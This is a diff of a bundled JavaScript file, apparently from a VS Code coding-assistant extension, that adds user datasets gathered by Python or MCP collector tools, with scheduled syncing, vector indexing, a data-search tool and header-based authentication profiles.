59343
59695
|
...services.sessionEnv !== void 0 ? { sessionEnv: services.sessionEnv } : {},
|
|
@@ -59357,6 +59709,7 @@ function wireChatBridge(services) {
|
|
|
59357
59709
|
void postPython();
|
|
59358
59710
|
void postSchedules();
|
|
59359
59711
|
void postTools();
|
|
59712
|
+
void postDatasetStatus();
|
|
59360
59713
|
}
|
|
59361
59714
|
});
|
|
59362
59715
|
const defaultSkillsDir = workspaceRoot !== void 0 ? path24.join(workspaceRoot, ".lightcode", "skills") : void 0;
|
|
@@ -59576,6 +59929,8 @@ function wireChatBridge(services) {
|
|
|
59576
59929
|
let backgroundRun = false;
|
|
59577
59930
|
let userTurnRunning = false;
|
|
59578
59931
|
let scheduledRunInFlight;
|
|
59932
|
+
let pythonNestedContext;
|
|
59933
|
+
let pythonNestedCallsAllowed = false;
|
|
59579
59934
|
const MENTION_SCAN_LIMIT = 2e3;
|
|
59580
59935
|
const MENTION_RESULT_LIMIT = 30;
|
|
59581
59936
|
let scheduleToolAccess;
|
|
@@ -59808,6 +60163,9 @@ function wireChatBridge(services) {
|
|
|
59808
60163
|
let cachedProgrammingProfileId;
|
|
59809
60164
|
let cachedOffice = {};
|
|
59810
60165
|
let cachedMail = {};
|
|
60166
|
+
let cachedDatasets = [];
|
|
60167
|
+
let datasetSummaryForPrompt = [];
|
|
60168
|
+
let cachedPythonEnabled = false;
|
|
59811
60169
|
const mailStore = new MailStore(storageDir);
|
|
59812
60170
|
let mailBusy = false;
|
|
59813
60171
|
let mailTimer;
|
|
@@ -59840,6 +60198,12 @@ function wireChatBridge(services) {
|
|
|
59840
60198
|
cachedProgrammingProfileId = config2.programmingProfileId;
|
|
59841
60199
|
cachedOffice = config2.office ?? {};
|
|
59842
60200
|
cachedMail = config2.mail ?? {};
|
|
60201
|
+
cachedDatasets = config2.datasets ?? [];
|
|
60202
|
+
cachedPythonEnabled = config2.python?.dynamicTools === "on";
|
|
60203
|
+
datasetSummaryForPrompt = await Promise.all(cachedDatasets.map(async (dataset) => ({
|
|
60204
|
+
name: dataset.name,
|
|
60205
|
+
records: (await new DatasetStore(storageDir, dataset.id).load()).length
|
|
60206
|
+
})));
|
|
59843
60207
|
cachedModeId = config2.modeId;
|
|
59844
60208
|
cachedMaxIterations = config2.maxIterations ?? 25;
|
|
59845
60209
|
cachedAccentColor = config2.ui?.accentColor ?? "#22C55E";
|
|
@@ -59923,6 +60287,7 @@ function wireChatBridge(services) {
|
|
|
59923
60287
|
postMcp();
|
|
59924
60288
|
void postSchedules();
|
|
59925
60289
|
void postTools();
|
|
60290
|
+
void postDatasetStatus();
|
|
59926
60291
|
scheduleDocsReindex("MCP tools changed");
|
|
59927
60292
|
}
|
|
59928
60293
|
}, logger, () => cachedApprovals.allowedTools ?? [], () => cachedToolTimeoutSeconds);
|
|
@@ -59940,7 +60305,7 @@ function wireChatBridge(services) {
|
|
|
59940
60305
|
platform: process.platform === "win32" ? "win32" : "posix"
|
|
59941
60306
|
});
|
|
59942
60307
|
}
|
|
59943
|
-
function currentToolRegistry(expert, search, codebase, docs, dispatcher = false, hideSkills = false, teamSkills, mailSemantic) {
|
|
60308
|
+
function currentToolRegistry(expert, search, codebase, docs, dispatcher = false, hideSkills = false, teamSkills, mailSemantic, datasetSemanticForTools) {
|
|
59944
60309
|
const combined = new ToolRegistry();
|
|
59945
60310
|
for (const tool of builtinTools.list())
|
|
59946
60311
|
combined.register(tool);
|
|
@@ -60027,6 +60392,16 @@ function wireChatBridge(services) {
|
|
|
60027
60392
|
if (codebase !== void 0) {
|
|
60028
60393
|
combined.register(createSearchCodebaseTool({ ...codebase, observer: searchLog }));
|
|
60029
60394
|
}
|
|
60395
|
+
if (cachedDatasets.length > 0) {
|
|
60396
|
+
combined.register(createSearchDataTool({
|
|
60397
|
+
load: async () => Promise.all(cachedDatasets.map(async (dataset) => ({
|
|
60398
|
+
id: dataset.id,
|
|
60399
|
+
name: dataset.name,
|
|
60400
|
+
records: await new DatasetStore(storageDir, dataset.id).load()
|
|
60401
|
+
}))),
|
|
60402
|
+
...datasetSemanticForTools !== void 0 ? { semantic: datasetSemanticForTools } : {}
|
|
60403
|
+
}));
|
|
60404
|
+
}
|
|
60030
60405
|
if (officeSupported() && (cachedOffice.excel === true || cachedOffice.outlook === true)) {
|
|
60031
60406
|
const officeOptions = { bridge: office() };
|
|
60032
60407
|
if (cachedOffice.excel === true) {
|
|
@@ -60302,6 +60677,9 @@ function wireChatBridge(services) {
|
|
|
60302
60677
|
expertAvailable: expertCliInfo !== void 0,
|
|
60303
60678
|
// Named only when there is an index to prefer.
|
|
60304
60679
|
mailIndexed: cachedMail.enabled === true && cachedOffice.outlook === true,
|
|
60680
|
+
// Counted here rather than in the prompt builder, which has no filesystem.
|
|
60681
|
+
datasets: datasetSummaryForPrompt,
|
|
60682
|
+
canWriteCollectors: cachedPythonEnabled,
|
|
60305
60683
|
/*
|
|
60306
60684
|
* Either the whole list or a count and an instruction to search — never both, and
|
|
60307
60685
|
* never neither. `renderSkillsHintForPrompt` explains why the count stays.
|
|
@@ -60371,6 +60749,8 @@ function wireChatBridge(services) {
|
|
|
60371
60749
|
// lives in the VSIX, so resolving it is a host concern (§4).
|
|
60372
60750
|
...ripgrepPath !== void 0 ? { ripgrepPath } : {}
|
|
60373
60751
|
};
|
|
60752
|
+
pythonNestedContext = toolContext;
|
|
60753
|
+
pythonNestedCallsAllowed = schedule === void 0;
|
|
60374
60754
|
const mentions = await resolveMentions(text, { fs: toolContext.fs, workspaceRoot, denylist });
|
|
60375
60755
|
const messageText = attachMentions(text, mentions);
|
|
60376
60756
|
const turnOptions = {
|
|
@@ -60452,7 +60832,17 @@ function wireChatBridge(services) {
|
|
|
60452
60832
|
* is frequently a local Qdrant while the code goes to a shared cluster — mail is the
|
|
60453
60833
|
* corpus people most want kept off a team's infrastructure.
|
|
60454
60834
|
*/
|
|
60455
|
-
mailCollection !== void 0 && mailSearch !== void 0 && embedder !== void 0 ? { searcher: mailSearch.searcher, embedder, collection: mailCollection } : void 0
|
|
60835
|
+
mailCollection !== void 0 && mailSearch !== void 0 && embedder !== void 0 ? { searcher: mailSearch.searcher, embedder, collection: mailCollection } : void 0,
|
|
60836
|
+
/*
|
|
60837
|
+
* Datasets share one collection, resolved against whichever store `retrieval.stores.data`
|
|
60838
|
+
* names — the same per-corpus routing §12e added, for the same reason: somebody's own
|
|
60839
|
+
* collected data is frequently the corpus they most want kept off a shared cluster.
|
|
60840
|
+
*/
|
|
60841
|
+
await (async () => {
|
|
60842
|
+
const collection = datasetCollectionName(config2);
|
|
60843
|
+
const search2 = await resolveDatasetSearch(config2);
|
|
60844
|
+
return collection !== void 0 && search2 !== void 0 && embedder !== void 0 ? { searcher: search2.searcher, embedder, collection } : void 0;
|
|
60845
|
+
})()
|
|
60456
60846
|
);
|
|
60457
60847
|
const turnRegistry = schedule !== void 0 ? registryForSchedule(fullRegistry.list(), schedule) : fullRegistry;
|
|
60458
60848
|
turnOptions.timeoutForTool = toolTimeout;
|
|
@@ -60572,6 +60962,21 @@ function wireChatBridge(services) {
|
|
|
60572
60962
|
}
|
|
60573
60963
|
};
|
|
60574
60964
|
}
|
|
60965
|
+
if (input.authType === "header") {
|
|
60966
|
+
const headers = (input.authHeaders ?? []).map((header) => ({
|
|
60967
|
+
name: header.name.trim(),
|
|
60968
|
+
valueRef: header.valueRef.trim(),
|
|
60969
|
+
...header.prefix !== void 0 && header.prefix.length > 0 ? { prefix: header.prefix } : {}
|
|
60970
|
+
})).filter((header) => header.name.length > 0 && header.valueRef.length > 0);
|
|
60971
|
+
const stored = await Promise.all(headers.map(async (header, index) => {
|
|
60972
|
+
if (describeSecretRef(header.valueRef).kind === "env")
|
|
60973
|
+
return header;
|
|
60974
|
+
const ref = `profile:${id}:header:${String(index)}`;
|
|
60975
|
+
await secrets.set(ref, header.valueRef);
|
|
60976
|
+
return { ...header, valueRef: ref };
|
|
60977
|
+
}));
|
|
60978
|
+
return stored.length > 0 ? { type: "header", headers: stored } : { type: "none" };
|
|
60979
|
+
}
|
|
60575
60980
|
if (input.authType === "tokenCommand") {
|
|
60576
60981
|
if (services.executableAuthRefusal !== void 0)
|
|
60577
60982
|
throw new Error(services.executableAuthRefusal);
|
|
@@ -61197,8 +61602,8 @@ function wireChatBridge(services) {
|
|
|
61197
61602
|
limit: limits.limit,
|
|
61198
61603
|
previewChars: limits.previewChars
|
|
61199
61604
|
});
|
|
61200
|
-
for (const
|
|
61201
|
-
skipped.add(
|
|
61605
|
+
for (const path34 of answer.skipped ?? [])
|
|
61606
|
+
skipped.add(path34);
|
|
61202
61607
|
return { messages: answer.messages, truncated: answer.truncated };
|
|
61203
61608
|
},
|
|
61204
61609
|
...embedder !== void 0 && search !== void 0 && collection !== void 0 ? {
|
|
@@ -61230,6 +61635,209 @@ function wireChatBridge(services) {
|
|
|
61230
61635
|
endIndexing("mail");
|
|
61231
61636
|
}
|
|
61232
61637
|
}
|
|
61638
|
+
const datasetTimers = /* @__PURE__ */ new Map();
|
|
61639
|
+
const datasetBusy = /* @__PURE__ */ new Set();
|
|
61640
|
+
const datasetResults = /* @__PURE__ */ new Map();
|
|
61641
|
+
function datasetStoreFor(id) {
|
|
61642
|
+
return new DatasetStore(storageDir, id);
|
|
61643
|
+
}
|
|
61644
|
+
function datasetCollectionName(config2) {
|
|
61645
|
+
const base = codebaseIndexName(config2);
|
|
61646
|
+
return base === void 0 ? void 0 : `${base}-data`;
|
|
61647
|
+
}
|
|
61648
|
+
async function resolveDatasetSearch(config2, dataset) {
|
|
61649
|
+
const wanted = dataset?.storeId ?? storeIdFor("data", config2);
|
|
61650
|
+
return resolveSearch(config2, wanted);
|
|
61651
|
+
}
|
|
61652
|
+
async function datasetSemantic(config2, dataset) {
|
|
61653
|
+
const collection = datasetCollectionName(config2);
|
|
61654
|
+
const search = await resolveDatasetSearch(config2, dataset);
|
|
61655
|
+
const embedder = await resolveEmbedder(config2);
|
|
61656
|
+
if (collection === void 0 || search === void 0 || embedder === void 0)
|
|
61657
|
+
return void 0;
|
|
61658
|
+
return {
|
|
61659
|
+
embedder,
|
|
61660
|
+
collection,
|
|
61661
|
+
writer: createVectorIndexWriter(httpClient, search.store, await vectorStoreConnectionFor(search.store, search.id)),
|
|
61662
|
+
searcher: search.searcher
|
|
61663
|
+
};
|
|
61664
|
+
}
|
|
61665
|
+
async function runDatasetSync(id, reason) {
|
|
61666
|
+
if (datasetBusy.has(id))
|
|
61667
|
+
return;
|
|
61668
|
+
const config2 = await loadSettings();
|
|
61669
|
+
const dataset = (config2.datasets ?? []).find((entry) => entry.id === id);
|
|
61670
|
+
if (dataset === void 0)
|
|
61671
|
+
return;
|
|
61672
|
+
datasetBusy.add(id);
|
|
61673
|
+
const signal = beginIndexing(`dataset:${id}`);
|
|
61674
|
+
reportIndexing("dataset", `Syncing ${dataset.name}`, { detail: `via ${dataset.toolName}` });
|
|
61675
|
+
try {
|
|
61676
|
+
const semantic = await datasetSemantic(config2, dataset);
|
|
61677
|
+
const result = await syncDataset({
|
|
61678
|
+
datasetId: id,
|
|
61679
|
+
store: datasetStoreFor(id),
|
|
61680
|
+
signal,
|
|
61681
|
+
onProgress: (done, total, phase) => reportIndexing("dataset", phase, { done, total }),
|
|
61682
|
+
...dataset.retentionDays !== void 0 ? { retentionDays: dataset.retentionDays } : {},
|
|
61683
|
+
...semantic !== void 0 ? { semantic: { embedder: semantic.embedder, writer: semantic.writer, collection: semantic.collection } } : {},
|
|
61684
|
+
/*
|
|
61685
|
+
* The collector runs through the ordinary Python tool path, so it is the same code that
|
|
61686
|
+
* validated it, the same worker, the same timeout. A second execution path would be a
|
|
61687
|
+
* second thing to keep in step with tool approval.
|
|
61688
|
+
*/
|
|
61689
|
+
collect: async (since2) => {
|
|
61690
|
+
const registry2 = currentToolRegistry();
|
|
61691
|
+
const tool = registry2.get(dataset.toolName) ?? registry2.get(`py__${dataset.toolName}`);
|
|
61692
|
+
if (tool === void 0) {
|
|
61693
|
+
throw new Error(`The collector tool "${dataset.toolName}" is not registered. A Python tool may have been deleted or Python switched off; an MCP tool may be from a server that is disconnected or disabled. Settings \u2192 Tools lists everything callable.`);
|
|
61694
|
+
}
|
|
61695
|
+
const args = { ...dataset.arguments ?? {}, ...since2 === void 0 ? {} : { since: since2 } };
|
|
61696
|
+
const output = await tool.execute(args, { signal });
|
|
61697
|
+
if (output.isError === true)
|
|
61698
|
+
throw new Error(String(output.content));
|
|
61699
|
+
try {
|
|
61700
|
+
return JSON.parse(typeof output.content === "string" ? output.content : JSON.stringify(output.content));
|
|
61701
|
+
} catch {
|
|
61702
|
+
throw new Error("The collector tool did not return JSON. It must return a list of records \u2014 see the guidance in Settings \u2192 Custom data.");
|
|
61703
|
+
}
|
|
61704
|
+
}
|
|
61705
|
+
});
|
|
61706
|
+
const detail = result.updated === 0 ? `No changes (${reason}). ${String(result.total)} record(s) held.` : `${String(result.updated)} record(s) updated, ${String(result.embedded)} embedded${result.removed > 0 ? `, ${String(result.removed)} removed by retention` : ""}. ${String(result.total)} held.`;
|
|
61707
|
+
datasetResults.set(id, { detail, failed: false, at: Date.now() });
|
|
61708
|
+
reportIndexing("dataset", "Finished", { detail, running: false });
|
|
61709
|
+
} catch (error51) {
|
|
61710
|
+
const stopped = signal.aborted;
|
|
61711
|
+
const detail = stopped ? "Stopped." : error51 instanceof Error ? error51.message : String(error51);
|
|
61712
|
+
datasetResults.set(id, { detail, failed: !stopped, at: Date.now() });
|
|
61713
|
+
if (!stopped)
|
|
61714
|
+
logger.warn(`dataset "${dataset.name}" sync failed: ${detail}`);
|
|
61715
|
+
reportIndexing("dataset", stopped ? "Stopped" : "Failed", { detail, running: false });
|
|
61716
|
+
} finally {
|
|
61717
|
+
datasetBusy.delete(id);
|
|
61718
|
+
endIndexing(`dataset:${id}`);
|
|
61719
|
+
await postDatasetStatus();
|
|
61720
|
+
}
|
|
61721
|
+
}
|
|
61722
|
+
async function handleClearDataset(id, resync) {
|
|
61723
|
+
if (datasetBusy.has(id))
|
|
61724
|
+
return;
|
|
61725
|
+
const config2 = await loadSettings();
|
|
61726
|
+
const dataset = (config2.datasets ?? []).find((entry) => entry.id === id);
|
|
61727
|
+
if (dataset === void 0)
|
|
61728
|
+
return;
|
|
61729
|
+
datasetBusy.add(id);
|
|
61730
|
+
const signal = beginIndexing(`dataset:${id}`);
|
|
61731
|
+
reportIndexing("dataset", `Clearing ${dataset.name}`);
|
|
61732
|
+
try {
|
|
61733
|
+
const semantic = await datasetSemantic(config2, dataset);
|
|
61734
|
+
const { removed } = await clearDataset({
|
|
61735
|
+
datasetId: id,
|
|
61736
|
+
store: datasetStoreFor(id),
|
|
61737
|
+
signal,
|
|
61738
|
+
onProgress: (done, total, phase) => reportIndexing("dataset", phase, { done, total }),
|
|
61739
|
+
...semantic !== void 0 ? { semantic: { writer: semantic.writer, collection: semantic.collection } } : {}
|
|
61740
|
+
});
|
|
61741
|
+
const detail = `Cleared ${String(removed)} record(s).`;
|
|
61742
|
+
datasetResults.set(id, { detail, failed: false, at: Date.now() });
|
|
61743
|
+
reportIndexing("dataset", "Finished", { detail, running: false });
|
|
61744
|
+
} catch (error51) {
|
|
61745
|
+
const detail = error51 instanceof Error ? error51.message : String(error51);
|
|
61746
|
+
datasetResults.set(id, { detail, failed: true, at: Date.now() });
|
|
61747
|
+
logger.warn(`dataset clear failed: ${detail}`);
|
|
61748
|
+
reportIndexing("dataset", "Failed", { detail, running: false });
|
|
61749
|
+
} finally {
|
|
61750
|
+
datasetBusy.delete(id);
|
|
61751
|
+
endIndexing(`dataset:${id}`);
|
|
61752
|
+
await postDatasetStatus();
|
|
61753
|
+
}
|
|
61754
|
+
if (resync)
|
|
61755
|
+
await runDatasetSync(id, "rebuild");
|
|
61756
|
+
}
|
|
61757
|
+
function reconcileDatasetTimers(config2) {
|
|
61758
|
+
for (const timer of datasetTimers.values())
|
|
61759
|
+
clearInterval(timer);
|
|
61760
|
+
datasetTimers.clear();
|
|
61761
|
+
for (const dataset of config2.datasets ?? []) {
|
|
61762
|
+
const minutes = dataset.syncMinutes ?? 0;
|
|
61763
|
+
if (dataset.enabled === false || minutes <= 0)
|
|
61764
|
+
continue;
|
|
61765
|
+
const timer = setInterval(() => void runDatasetSync(dataset.id, "scheduled"), minutes * 60 * 1e3);
|
|
61766
|
+
timer.unref?.();
|
|
61767
|
+
datasetTimers.set(dataset.id, timer);
|
|
61768
|
+
}
|
|
61769
|
+
}
|
|
61770
|
+
async function postDatasetStatus() {
|
|
61771
|
+
const config2 = (await configManager.load()).config;
|
|
61772
|
+
const datasets = config2.datasets ?? [];
|
|
61773
|
+
const collection = datasetCollectionName(config2);
|
|
61774
|
+
const embedder = await resolveEmbedder(config2).catch(() => void 0);
|
|
61775
|
+
const entries = await Promise.all(datasets.map(async (dataset) => {
|
|
61776
|
+
const store = datasetStoreFor(dataset.id);
|
|
61777
|
+
const records = await store.load();
|
|
61778
|
+
const times = records.map((record2) => record2.timestamp).filter((at) => at !== void 0);
|
|
61779
|
+
const search = await resolveDatasetSearch(config2, dataset).catch(() => void 0);
|
|
61780
|
+
return {
|
|
61781
|
+
...dataset,
|
|
61782
|
+
records: records.length,
|
|
61783
|
+
sizeBytes: await store.sizeBytes(),
|
|
61784
|
+
...times.length > 0 ? { oldest: Math.min(...times), newest: Math.max(...times) } : {},
|
|
61785
|
+
...await store.lastSyncedAt() !== void 0 ? { lastSyncedAt: await store.lastSyncedAt() } : {},
|
|
61786
|
+
busy: datasetBusy.has(dataset.id),
|
|
61787
|
+
...datasetResults.get(dataset.id) !== void 0 ? {
|
|
61788
|
+
lastResult: datasetResults.get(dataset.id).detail,
|
|
61789
|
+
lastFailed: datasetResults.get(dataset.id).failed,
|
|
61790
|
+
lastAttemptAt: datasetResults.get(dataset.id).at
|
|
61791
|
+
} : {},
|
|
61792
|
+
storeLabel: search?.store.label ?? "none"
|
|
61793
|
+
};
|
|
61794
|
+
}));
|
|
61795
|
+
post({
|
|
61796
|
+
type: "datasetStatus",
|
|
61797
|
+
datasets: entries,
|
|
61798
|
+
// Said plainly, because a dataset with no embedder still syncs and still searches — on words
|
|
61799
|
+
// rather than meaning — and someone seeing results would otherwise assume it is semantic.
|
|
61800
|
+
semantic: collection !== void 0 && embedder !== void 0,
|
|
61801
|
+
/*
|
|
61802
|
+
* Python tools and MCP tools, selected by what they *are* rather than by group.
|
|
61803
|
+
*
|
|
61804
|
+
* Filtering on `group` was wrong and showed only the built-ins: a Python tool is registered
|
|
61805
|
+
* as `command`, because it runs code, and an MCP tool as `mcp`. Those two groups also hold
|
|
61806
|
+
* `execute_command` and the tool-authoring tools, which are not data sources — so the test
|
|
61807
|
+
* is the `py__` prefix and the mcp group, not a permission category. Reported as the picker
|
|
61808
|
+
* listing only built-in tools.
|
|
61809
|
+
*/
|
|
61810
|
+
stores: Object.entries(config2.vectorStores ?? {}).map(([id, store]) => ({ id, label: store.label })),
|
|
61811
|
+
// Resolved here, where the fallback chain lives. See the note on the message.
|
|
61812
|
+
defaultStoreLabel: (await resolveDatasetSearch(config2).catch(() => void 0))?.store.label ?? "none",
|
|
61813
|
+
tools: currentToolRegistry().list().filter((tool) => tool.name.startsWith("py__") || tool.group === "mcp").map((tool) => ({
|
|
61814
|
+
name: tool.name,
|
|
61815
|
+
description: tool.description,
|
|
61816
|
+
// Grouped in the picker, because "which of these is mine?" is the first question with
|
|
61817
|
+
// forty MCP tools in the list.
|
|
61818
|
+
kind: tool.name.startsWith("py__") ? "python" : "mcp"
|
|
61819
|
+
})),
|
|
61820
|
+
guidance: COLLECTOR_TOOL_GUIDANCE
|
|
61821
|
+
});
|
|
61822
|
+
}
|
|
61823
|
+
async function handleSaveDataset(dataset) {
|
|
61824
|
+
const { config: config2 } = await configManager.load();
|
|
61825
|
+
const existing = config2.datasets ?? [];
|
|
61826
|
+
const next = existing.some((entry) => entry.id === dataset.id) ? existing.map((entry) => entry.id === dataset.id ? dataset : entry) : [...existing, dataset];
|
|
61827
|
+
await configManager.save("user", { datasets: next });
|
|
61828
|
+
reconcileDatasetTimers((await configManager.load()).config);
|
|
61829
|
+
await postDatasetStatus();
|
|
61830
|
+
}
|
|
61831
|
+
async function handleDeleteDataset(id) {
|
|
61832
|
+
const { config: config2 } = await configManager.load();
|
|
61833
|
+
await handleClearDataset(id, false);
|
|
61834
|
+
await configManager.save("user", {
|
|
61835
|
+
datasets: (config2.datasets ?? []).filter((entry) => entry.id !== id)
|
|
61836
|
+
});
|
|
61837
|
+
datasetResults.delete(id);
|
|
61838
|
+
reconcileDatasetTimers((await configManager.load()).config);
|
|
61839
|
+
await postDatasetStatus();
|
|
61840
|
+
}
|
|
61233
61841
|
function reconcileMailTimer(config2) {
|
|
61234
61842
|
if (mailTimer !== void 0) {
|
|
61235
61843
|
clearInterval(mailTimer);
|
|
@@ -61279,9 +61887,9 @@ function wireChatBridge(services) {
|
|
|
61279
61887
|
});
|
|
61280
61888
|
const all = result.folders.map((entry) => entry.path);
|
|
61281
61889
|
const wanted = new Set(chosen);
|
|
61282
|
-
for (const
|
|
61283
|
-
if (chosen.some((root) =>
|
|
61284
|
-
wanted.add(
|
|
61890
|
+
for (const path34 of all) {
|
|
61891
|
+
if (chosen.some((root) => path34 === root || path34.startsWith(`${root}\\`)))
|
|
61892
|
+
wanted.add(path34);
|
|
61285
61893
|
}
|
|
61286
61894
|
return [...wanted];
|
|
61287
61895
|
} catch {
|
|
@@ -61498,6 +62106,7 @@ function wireChatBridge(services) {
|
|
|
61498
62106
|
});
|
|
61499
62107
|
const config2 = await loadSettings();
|
|
61500
62108
|
reconcileMailTimer(config2);
|
|
62109
|
+
reconcileDatasetTimers(config2);
|
|
61501
62110
|
await postMailStatus();
|
|
61502
62111
|
if (config2.mail?.enabled === true)
|
|
61503
62112
|
void runMailSync("just enabled");
|
|
@@ -61776,6 +62385,28 @@ function wireChatBridge(services) {
|
|
|
61776
62385
|
const { config: config2 } = await configManager.load();
|
|
61777
62386
|
const search = await resolveSearch(config2);
|
|
61778
62387
|
const embedder = await resolveEmbedder(config2);
|
|
62388
|
+
if (target === "data") {
|
|
62389
|
+
const datasets = config2.datasets ?? [];
|
|
62390
|
+
const collection = datasetCollectionName(config2);
|
|
62391
|
+
const dataSearch = await resolveDatasetSearch(config2);
|
|
62392
|
+
const tool2 = createSearchDataTool({
|
|
62393
|
+
load: async () => Promise.all(datasets.map(async (dataset) => ({
|
|
62394
|
+
id: dataset.id,
|
|
62395
|
+
name: dataset.name,
|
|
62396
|
+
records: await new DatasetStore(storageDir, dataset.id).load()
|
|
62397
|
+
}))),
|
|
62398
|
+
...collection !== void 0 && dataSearch !== void 0 && embedder !== void 0 ? { semantic: { searcher: dataSearch.searcher, embedder, collection } } : {}
|
|
62399
|
+
});
|
|
62400
|
+
const result2 = await tool2.execute({ query, limit: 25 }, {});
|
|
62401
|
+
post({
|
|
62402
|
+
type: "searchProbe",
|
|
62403
|
+
target,
|
|
62404
|
+
query,
|
|
62405
|
+
text: result2.content,
|
|
62406
|
+
...result2.isError === true ? { error: "The search failed." } : {}
|
|
62407
|
+
});
|
|
62408
|
+
return;
|
|
62409
|
+
}
|
|
61779
62410
|
if (target === "mail") {
|
|
61780
62411
|
const collection = mailCollectionName(config2);
|
|
61781
62412
|
const mailSearch = await resolveMailSearch(config2);
|
|
@@ -62084,6 +62715,9 @@ function wireChatBridge(services) {
|
|
|
62084
62715
|
...saved.uvPath !== void 0 ? { uvPath: saved.uvPath } : {},
|
|
62085
62716
|
...saved.toolsDir !== void 0 ? { toolsDir: saved.toolsDir } : {},
|
|
62086
62717
|
...saved.venvPath !== void 0 ? { venvPath: saved.venvPath } : {},
|
|
62718
|
+
...saved.interpreterPath !== void 0 ? { interpreterPath: saved.interpreterPath } : {},
|
|
62719
|
+
// Sent so nothing the form cannot edit is invisible *and* silently rewritten.
|
|
62720
|
+
...saved.extraIndexUrls !== void 0 ? { extraIndexUrls: saved.extraIndexUrls } : {},
|
|
62087
62721
|
...saved.indexUrl !== void 0 ? { indexUrl: saved.indexUrl } : {},
|
|
62088
62722
|
...saved.offline !== void 0 ? { offline: saved.offline } : {},
|
|
62089
62723
|
...saved.timeoutSeconds !== void 0 ? { timeoutSeconds: saved.timeoutSeconds } : {},
|
|
@@ -62095,16 +62729,26 @@ function wireChatBridge(services) {
|
|
|
62095
62729
|
}
|
|
62096
62730
|
async function handleSetPython(input) {
|
|
62097
62731
|
try {
|
|
62732
|
+
const existing = (await configManager.load()).config.python ?? {};
|
|
62098
62733
|
await configManager.save("user", {
|
|
62099
62734
|
python: {
|
|
62735
|
+
...existing,
|
|
62100
62736
|
dynamicTools: input.dynamicTools,
|
|
62101
|
-
...input.uvPath !== void 0
|
|
62737
|
+
...input.uvPath !== void 0 ? input.uvPath.length > 0 ? { uvPath: input.uvPath } : { uvPath: void 0 } : {},
|
|
62102
62738
|
// Absent rather than empty when cleared, so the manager falls back to
|
|
62103
62739
|
// `.lightcode/tools` instead of resolving an empty string against the workspace.
|
|
62104
|
-
...input.toolsDir !== void 0
|
|
62105
|
-
|
|
62740
|
+
...input.toolsDir !== void 0 ? input.toolsDir.trim().length > 0 ? { toolsDir: input.toolsDir.trim() } : { toolsDir: void 0 } : {},
|
|
62741
|
+
/*
|
|
62742
|
+
* Cleared means cleared, which is why each of these deletes rather than omitting.
|
|
62743
|
+
*
|
|
62744
|
+
* With the spread of `existing` above, omitting a blank field would *keep* the old
|
|
62745
|
+
* value — so emptying the box would appear to do nothing. The three-way distinction
|
|
62746
|
+
* matters: a field the form did not send is kept, a field it sent empty is removed.
|
|
62747
|
+
*/
|
|
62748
|
+
...input.venvPath !== void 0 ? input.venvPath.trim().length > 0 ? { venvPath: input.venvPath.trim() } : { venvPath: void 0 } : {},
|
|
62749
|
+
...input.interpreterPath !== void 0 ? input.interpreterPath.trim().length > 0 ? { interpreterPath: input.interpreterPath.trim() } : { interpreterPath: void 0 } : {},
|
|
62106
62750
|
...input.timeoutSeconds !== void 0 ? { timeoutSeconds: input.timeoutSeconds } : {},
|
|
62107
|
-
...input.indexUrl !== void 0
|
|
62751
|
+
...input.indexUrl !== void 0 ? input.indexUrl.length > 0 ? { indexUrl: input.indexUrl } : { indexUrl: void 0 } : {},
|
|
62108
62752
|
...input.offline !== void 0 ? { offline: input.offline } : {}
|
|
62109
62753
|
}
|
|
62110
62754
|
});
|
|
@@ -62967,6 +63611,7 @@ function wireChatBridge(services) {
|
|
|
62967
63611
|
} else if (message3.type === "requestMailStatus") {
|
|
62968
63612
|
void loadSettings().then((config2) => {
|
|
62969
63613
|
reconcileMailTimer(config2);
|
|
63614
|
+
reconcileDatasetTimers(config2);
|
|
62970
63615
|
return postMailStatus();
|
|
62971
63616
|
});
|
|
62972
63617
|
} else if (message3.type === "saveMailSettings") {
|
|
@@ -62982,6 +63627,16 @@ function wireChatBridge(services) {
|
|
|
62982
63627
|
void handleClearTeamSkills();
|
|
62983
63628
|
} else if (message3.type === "refreshMail") {
|
|
62984
63629
|
void handleRefreshMail(message3.days);
|
|
63630
|
+
} else if (message3.type === "requestDatasetStatus") {
|
|
63631
|
+
void postDatasetStatus();
|
|
63632
|
+
} else if (message3.type === "saveDataset") {
|
|
63633
|
+
void handleSaveDataset(message3.dataset);
|
|
63634
|
+
} else if (message3.type === "deleteDataset") {
|
|
63635
|
+
void handleDeleteDataset(message3.id);
|
|
63636
|
+
} else if (message3.type === "syncDataset") {
|
|
63637
|
+
void runDatasetSync(message3.id, "manual");
|
|
63638
|
+
} else if (message3.type === "clearDataset") {
|
|
63639
|
+
void handleClearDataset(message3.id, message3.resync === true);
|
|
62985
63640
|
} else if (message3.type === "clearMailIndex") {
|
|
62986
63641
|
void handleClearMailIndex(message3.resync === true);
|
|
62987
63642
|
} else if (message3.type === "saveSkillsAlias") {
|
|
@@ -64386,10 +65041,10 @@ function readSmall(raw, params) {
|
|
|
64386
65041
|
const end = params.limit !== void 0 ? start + params.limit : lines.length;
|
|
64387
65042
|
return number4(lines.slice(start, end), start + 1);
|
|
64388
65043
|
}
|
|
64389
|
-
async function readLarge(
|
|
65044
|
+
async function readLarge(fs27, realPath, params, size) {
|
|
64390
65045
|
const human = formatBytes(size);
|
|
64391
65046
|
if (params.tail !== void 0) {
|
|
64392
|
-
const part = await readTail(
|
|
65047
|
+
const part = await readTail(fs27, realPath, size, params.tail);
|
|
64393
65048
|
return [
|
|
64394
65049
|
`${human} file \u2014 last ${String(part.lines.length)} lines.`,
|
|
64395
65050
|
/*
|
|
@@ -64404,7 +65059,7 @@ async function readLarge(fs26, realPath, params, size) {
|
|
|
64404
65059
|
}
|
|
64405
65060
|
if (params.offset !== void 0) {
|
|
64406
65061
|
const limit = params.limit ?? DEFAULT_LARGE_LIMIT;
|
|
64407
|
-
const part = await readLineWindow(
|
|
65062
|
+
const part = await readLineWindow(fs27, realPath, size, params.offset, limit);
|
|
64408
65063
|
const shown = part.lines.length;
|
|
64409
65064
|
return [
|
|
64410
65065
|
`${human} file \u2014 lines ${String(params.offset)}\u2013${String(params.offset + shown - 1)}${part.hasMoreAfter ? ", more follows" : " (end of file)"}.`,
|
|
@@ -64412,7 +65067,7 @@ async function readLarge(fs26, realPath, params, size) {
|
|
|
64412
65067
|
number4(part.lines, params.offset)
|
|
64413
65068
|
].join("\n");
|
|
64414
65069
|
}
|
|
64415
|
-
const total = await countLines(
|
|
65070
|
+
const total = await countLines(fs27, realPath, size);
|
|
64416
65071
|
return [
|
|
64417
65072
|
`${realPathName(realPath)} is ${human} (${total.toLocaleString()} lines) \u2014 too large to read at once.`,
|
|
64418
65073
|
"",
|
|
